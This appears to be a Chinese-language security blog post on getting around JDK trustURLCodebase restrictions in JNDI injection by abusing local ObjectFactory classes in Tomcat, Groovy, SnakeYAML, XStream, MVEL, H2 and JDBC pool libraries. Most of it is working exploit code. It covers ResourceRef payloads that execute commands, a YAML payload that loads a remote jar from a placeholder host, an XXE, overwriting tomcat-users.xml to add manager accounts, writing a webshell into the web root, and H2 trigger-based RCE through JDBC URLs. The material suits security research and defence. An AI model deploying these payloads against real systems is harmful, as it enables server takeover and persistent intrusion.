概述
限制
以下JDK版本之后出现了针对trustURLCodebase
的限制,即默认不允许加载远程ObjectFactory:
- RMI:6u132, 7u122, 8u113
- LDAP:11.0.1, 8u191, 7u201, 6u211
绕过思路
绕过思路主要就是触发JDNI注入的过程中会触发受害机ObjectFactory
实现类的getObjectInstance()
方法,既然高版本不适用加载远程ObjectFactory
,那么就是用本地ObjectFactory
,常用的绕过有:
- 基于Tomcat依赖中的
BeanFactory
。⭐⭐
- 基于Tomcat中的
MemoryUserDatabaseFactory
。
- 基于JDBC-RCE。
- 基于反序列化。
利用BeanFactory
简单看一下BeanFactory#getObjectInstance()的处理过程,首先获取Reference类名(必须是ResourceRef)并load类,如果上下文中没有ClassLoader就用SystemClassLoader。
下一步使用java.beans.Introspector对beanclass进行解析,获取bean中的所有属性,然后拿Reference类的forceString,并对其value以 ,
进行split。
然后遍历split出来的hashmap,获取其setter方法
最后直接反射调用setter方法
处理逻辑其实是:
- 取出forceString的值,按照
,
分割为不同的method,=
分割为param与propName。
- 将propName作为方法名反射获得一个参数为String.class的方法。
- 取出Addrs中param的值,并作为参数赋予propName方法执行。
例如:
1 2 3 4 5 6
| ResourceRef ref = new ResourceRef("org.example.Demo", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "<param>=<propName>")); ref.add(new StringRefAddr("<param>", "paramValue")); return ref;
|
所以总结出来可利用类的要求就是
- 类必须在本地依赖或者JDK自带。
- 可以调用的是public无参构造方法,并且参数只能有一个String。
顺着这个思路在常用的依赖中查找,有以下几个可利用的地方:
- javax.el.ELProcessor#eval()
- groovy.lang.GroovyShell#evaluate() / (GroovyClassLoader)
- org.yaml.snakeyaml.Yaml#load()
- com.thoughtworks.xstream.XStream#fromXML()
- org.mvel2**.MVEL**#eval()
- com.sun.glass.utils.NativeLibLoader#()
javax.el.ELProcessor#eval() [RCE]
执行EL表达式RCE
1 2 3 4 5 6 7 8 9 10 11
| ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")")); return ref;
|
groovy.lang.GroovyClassLoader#evaluate() [RCE]
顾名思义,利用groovy依赖自定义类加载。
1 2 3 4 5 6 7 8
| ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); resourceRef.add(new StringRefAddr("forceString", "gungnir=parseClass")); String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef gungnir\n", "calc.exe"); resourceRef.add(new StringRefAddr("gungnir",script));
|
当然也可以直接GroovyShell执行。
org.yaml.snakeyaml.Yaml#load() [RCE]
加载解析yaml字符串,实现类方法的调用,例如URLCLassLoader。
1 2 3 4 5 6 7 8 9 10
| ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); String yaml = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://127.0.0.1:8888/exp.jar\"]\n" + " ]]\n" + "]"; ref.add(new StringRefAddr("forceString", "a=load")); ref.add(new StringRefAddr("a", yaml)); return ref;
|
XML反序列化打本地反序列化链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); String xml = "<java.util.PriorityQueue serialization='custom'>\n" + " <unserializable-parents/>\n" + " <java.util.PriorityQueue>\n" + " <default>\n" + " <size>2</size>\n" + " </default>\n" + " <int>3</int>\n" + " <dynamic-proxy>\n" + " <interface>java.lang.Comparable</interface>\n" + " <handler class='sun.tracing.NullProvider'>\n" + " <active>true</active>\n" + " <providerType>java.lang.Comparable</providerType>\n" + " <probes>\n" + " <entry>\n" + " <method>\n" + " <class>java.lang.Comparable</class>\n" + " <name>compareTo</name>\n" + " <parameter-types>\n" + " <class>java.lang.Object</class>\n" + " </parameter-types>\n" + " </method>\n" + " <sun.tracing.dtrace.DTraceProbe>\n" + " <proxy class='java.lang.Runtime'/>\n" + " <implementing__method>\n" + " <class>java.lang.Runtime</class>\n" + " <name>exec</name>\n" + " <parameter-types>\n" + " <class>java.lang.String</class>\n" + " </parameter-types>\n" + " </implementing__method>\n" + " </sun.tracing.dtrace.DTraceProbe>\n" + " </entry>\n" + " </probes>\n" + " </handler>\n" + " </dynamic-proxy>\n" + " <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>\n" + " </java.util.PriorityQueue>\n" + "</java.util.PriorityQueue>"; ref.add(new StringRefAddr("forceString", "a=fromXML")); ref.add(new StringRefAddr("a", xml)); return ref;
|
org.mvel2**.MVEL**#eval() [RCE]
通过 ShellSession.exec(String)
去执行push命令,从而解析MVEL表达式。
1 2 3 4 5 6
| ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "a=exec")); ref.add(new StringRefAddr("a", "push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');")); return ref;
|
javax.management.loading.MLet [类探测]
只能执行到loadClass(),仅仅加载没有初始化或实例化,因此只能探测类是否存在无法直接RCE。
1 2 3 4 5 6 7 8 9 10 11 12 13
| ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass")); ref.add(new StringRefAddr("a", "javax.el.ELProcessor")); ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/")); ref.add(new StringRefAddr("c", "Blue")); return ref;
|
参考:https://tttang.com/archive/1489,有可用的上传接口比较方便,稳定实现较复杂。
利用MemoryUserDatabaseFactory
这个类也实现了ObjectFactory,其getObjectInstance()方法调用一系列setter对pathname、readOnly等属性赋值,然后就会调用open()方法,如果readOnly为false则调用save()进行存储。
首先看open()方法:
open()方法会把pathname转换为URI并发起连接请求,然后使用Digester进行XML解析。
再看save(),它则是直接打开了写入流,将XML解析出来的role、user等键值写入,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| public void save() throws Exception { if (this.getReadonly()) { log.error(sm.getString("memoryUserDatabase.readOnly")); } else if (!this.isWriteable()) { log.warn(sm.getString("memoryUserDatabase.notPersistable")); } else { File fileNew = new File(this.pathnameNew); if (!fileNew.isAbsolute()) { fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew); }
this.writeLock.lock(); try { try { FileOutputStream fos = new FileOutputStream(fileNew); Throwable var3 = null;
try { OutputStreamWriter osw = new OutputStreamWriter(fos, "UTF8"); Throwable var5 = null;
try { PrintWriter writer = new PrintWriter(osw); Throwable var7 = null;
try { writer.println("<?xml version='1.0' encoding='utf-8'?>"); writer.println("<tomcat-users xmlns=\"http://tomcat.apache.org/xml\""); writer.print(" "); writer.println("xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\""); writer.print(" "); writer.println("xsi:schemaLocation=\"http://tomcat.apache.org/xml tomcat-users.xsd\""); writer.println(" version=\"1.0\">"); Iterator<?> values = null; values = this.getRoles();
while(values.hasNext()) { writer.print(" "); writer.println(values.next()); }
values = this.getGroups();
while(true) { if (!values.hasNext()) { values = this.getUsers();
while(values.hasNext()) { writer.print(" "); writer.println(((MemoryUser)values.next()).toXml()); }
writer.println("</tomcat-users>");
|
XXE
既然发起远程连接并且对XML进行了解析,那就存在XXE漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ResourceRef resourceRef = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); resourceRef.add(new StringRefAddr("pathname","http://vps:port/exp.xml")); return resourceRef;
|
添加后台用户
Tomcat后台用户的账户密码在文件<CATALINA.BASE>/conf/tomcat-users.xml
中可以进行配置,相关配置内容是
1 2 3
| <user username="tomcat" password="tomcat" roles="tomcat,role1,manager-gui,manager-script,manager-jmx,manager,admin-gui"/> <user username="both" password="tomcat" roles="tomcat,role1,manager-gui,manager-script,manager-jmx,manager,admin-gui"/> <user username="role1" password="tomcat" roles="role1"/>
|
前面讲到open()时提到,它会把XML解析出来的账户直接写入,写入的内容我们可控,写入路径这里我们就遇到问题了,写入路径的处理逻辑是直接拼接catalina根目录与pathname: fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);
,但我们使用远程URI的话就会出现http://
等字符,拼接出来就是<CATALINA.BASE>/http://1.1.1.1:2222/conf/tomcat-users.xml
,这时路径不存在是非法的,这时候就可以使用路径穿越的方式获取到xml文件:<CATALINA.BASE>/http://1.1.1.1:2222/../../conf/tomcat-users.xml
。
这时候还有一个问题,那就是路径http:/1.1.1.1:2222
不存在,路径穿越也是不合法的,解决的办法就是借用创建目录的方法将http:/1.1.1.1:2222
创建出来,这里使用到的是org.h2.store.fs.FileUtils#createDirectory()。最后就可以覆盖tomcat-users.xml了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| private static ResourceRef tomcatMkdirFrist() { ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "a=createDirectory")); ref.add(new StringRefAddr("a", "../http:")); return ref; } private static ResourceRef tomcatMkdirLast() { ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "a=createDirectory")); ref.add(new StringRefAddr("a", "../http:/vps:8888")); return ref; }
private static ResourceRef tomcatManagerAdd() { ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); ref.add(new StringRefAddr("pathname", "http://vps:8888/../../conf/tomcat-users.xml")); ref.add(new StringRefAddr("readonly", "false")); return ref; }
|
然后就是进后台部署war,不多说。
写webshell
上一小节其实已经实现了任意文件写,因此也可以直接向网站根目录写入webshell,原理一样。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
|
private static ResourceRef tomcatWriteFile() { ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp")); ref.add(new StringRefAddr("readonly", "false")); return ref; }
|
利用JDBC
dbcp
同样的还是找ObjectFactory,利用JDBC可以主动发起恶意数据库连接,只需要一个String类型的参数即可,注意类org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory
,其getObjectInstance()方法经过层层调用会来到BasicDataSource#createDataSource()
即发起数据库连接。
dbcp工厂类要依据本地classpath依赖来决定,存在多种,比如不是Tomcat时可以尝试使用commons-dbcp。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| private static Reference tomcat_dbcp2_RCE(){ return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory"); } private static Reference tomcat_dbcp1_RCE(){ return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory"); } private static Reference commons_dbcp2_RCE(){ return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory"); } private static Reference commons_dbcp1_RCE(){ return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory"); } private static Reference dbcpByFactory(String factory){ Reference ref = new Reference("javax.sql.DataSource",factory,null); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" + "$$\n"; ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); ref.add(new StringRefAddr("url",JDBC_URL)); ref.add(new StringRefAddr("username","root")); ref.add(new StringRefAddr("password","password")); ref.add(new StringRefAddr("initialSize","1")); return ref; }
|
tomcat-jdbc
dbcp用不了时,可以尝试tomcat-jdbc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| private static Reference tomcat_JDBC_RCE(){ return dbcpByFactory("org.apache.tomcat.jdbc.pool.DataSourceFactory"); } private static Reference dbcpByFactory(String factory){ Reference ref = new Reference("javax.sql.DataSource",factory,null); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" + "$$\n"; ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); ref.add(new StringRefAddr("url",JDBC_URL)); ref.add(new StringRefAddr("username","root")); ref.add(new StringRefAddr("password","password")); ref.add(new StringRefAddr("initialSize","1")); return ref; }
|
druid
原理同dbcp,DruidDataSourceFactory也可以发起数据库连接:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| private static Reference druid(){ Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" + "$$\n"; String JDBC_USER = "root"; String JDBC_PASSWORD = "password";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); ref.add(new StringRefAddr("url",JDBC_URL)); ref.add(new StringRefAddr("username",JDBC_USER)); ref.add(new StringRefAddr("password",JDBC_PASSWORD)); ref.add(new StringRefAddr("initialSize","1")); ref.add(new StringRefAddr("init","true")); return ref; }
|
REF